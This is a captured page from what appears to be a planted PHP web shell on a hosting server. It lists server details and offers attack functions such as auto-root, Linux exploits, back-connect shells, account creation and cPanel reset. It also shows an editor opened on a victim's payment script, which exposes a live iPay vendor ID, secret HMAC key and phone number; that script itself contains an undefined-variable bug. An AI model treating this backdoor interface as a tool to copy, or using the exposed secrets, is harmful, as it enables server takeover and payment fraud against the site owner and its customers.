Linux host40.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 68.65.120.213 | : 216.73.216.160
Cant Read [ /etc/named.conf ]
7.4.33
trade
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
trade /
payment.tradesense.co.ke /
[ HOME SHELL ]
Name
Size
Permission
Action
error_log
742
B
-rw-r--r--
ipay.php
1.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ipay.php
<?php // Set up the B2C transaction parameters $vendorId = 'tradesense'; $hashkey = 'yaZ8$?#C8wNbQDNAudWHcvg?rGwtVzAr'; $amount = '10'; $currency = 'KES'; $reference = '0725071'; $mobileNumber = '254743208927'; $payer = 'John Doe'; // Set up the request payload $requestData = array( 'live' => '1', // Set to '0' for sandbox or '1' for live mode 'oid' => '', // Optional: Order ID 'inv' => '', // Optional: Invoice number 'amount' => $amount, 'reference' => $reference, 'phone' => $mobileNumber, 'email' => '', 'vid' => $vendorId, 'curr' => $currency, 'p1' => '', // Optional: Custom parameter 1 'p2' => '', // Optional: Custom parameter 2 'p3' => '', // Optional: Custom parameter 3 'p4' => '', // Optional: Custom parameter 4 'cbk' => '', // Optional: Callback URL for asynchronous notifications 'cst' => '', // Optional: Customer's ID or unique identifier 'crl' => '', // Optional: Customer's risk level 'hsh' => '', // Leave empty as the hash will be generated by iPay ); $hashString = $vendorId . $amount . $reference . $mobileNumber . $currency; $requestData['hsh'] = hash_hmac('sha1', $datastring, $hashkey); $apiEndpoint = 'https://apis.ipayafrica.com/b2c/v3/mobile/mpesa'; // Replace with the actual API endpoint URL $ch = curl_init($apiEndpoint); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($requestData)); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); // Handle the error echo "cURL Error: " . $error; } else { // Handle the response echo "Response: " . $response; } // Close the cURL session curl_close($ch); ?>
Close